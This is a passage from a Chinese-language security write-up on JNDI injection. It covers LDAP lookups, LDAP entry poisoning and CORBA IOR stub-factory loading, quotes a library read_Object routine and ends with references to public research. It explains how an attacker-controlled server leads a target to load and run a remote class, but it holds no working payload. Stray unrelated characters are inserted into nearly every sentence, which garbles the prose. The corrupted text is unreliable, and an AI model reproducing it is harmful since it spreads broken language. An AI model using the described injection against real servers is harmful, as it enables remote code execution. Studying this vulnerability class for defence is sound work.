攻擊過程為:攻擊者為JND lookup提供了一個絕對LDAP URL姑曙,服務器連接到攻擊者控制的LDAP服務器襟交,該服務器返回惡意的JNDI引用。服務器解碼JNDI引用從攻擊者控制的服務器獲取工廠類伤靠,實例化工廠類時payload得以執(zhí)行婿着。
LDAP Entry Poisoning
LDAP攻擊主要針對于屬性而非對象,例如醋界,用lookup方法查找對象時,search()方法是在檢索LDAP條目的所需屬性(例如:用戶名提完、密碼形纺、電子郵件等),當只請求屬性時徒欣,就不會有可能危及服務器的Java對象解碼逐样。然而,如果應用程序執(zhí)行搜索操作打肝,并將returnObjFlag設置為true脂新,那么控制LDAP響應的攻擊者將能夠在應用服務器上執(zhí)行任意命令。
(3)JNDI+CORBA
org.omg.CORBA.Object read_Object會對IOR進行解析
public org.omg.CORBA.Object read_Object(Class clz) {
// In any case, we must first read the IOR.
IOR ior = IORFactories.makeIOR(parent);
if (ior.isNil()) return null;
PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
String codeBase = ior.getProfile().getCodebase(); <1>
PresentationManager.StubFactory stubFactory = null;
if (clz == null) {
RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId()); <2>
String className = rid.getClassName();
boolean isIDLInterface = rid.isIDLType();
if (className == null || className.equals( "" )) stubFactory = null;
else
try { <3>
stubFactory = sff.createStubFactory(className, isIDLInterface, codeBase, (Class)null, (ClassLoader)null);
}
catch (Exception exc) {
stubFactory = null;
}
else if (StubAdapter.isStubClass( clz )) {
stubFactory = PresentationDefaults.makeStaticStubFactory(clz);
} else {
// clz is an interface class
boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ;
stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;
}
return internalIORToObject( ior, stubFactory, orb ) ;
}
攻擊者可以手工創(chuàng)建一個IOR粗梭,該IOR指定在他控制下的代碼庫位置<1>和IDL接口<2>争便,即存根工廠的位置。然后断医,它可以將運行有效負載的存根工廠類放在其構造函數中滞乙,并在目標服務器<3>中實例化存根,從而成功地運行payload
攻擊過程:攻擊者為JNDI lookup提供了一個絕對的IIOP URL鉴嗤。服務器連接到攻擊者控制的ORB斩启,該ORB將返回惡意IOR,然后服務器解碼IOR從攻擊者控制的服務器獲取存根工廠類醉锅。進行實例化的同時payload執(zhí)行兔簇。
參考資料
RMI
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
https://paper.seebug.org/1012/
https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/tree/master/ldap/src/main/java/com/longofo
https://paper.seebug.org/1091/#java-rmi
JNDI
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
CORBA
https://paper.seebug.org/1124/#212-client-side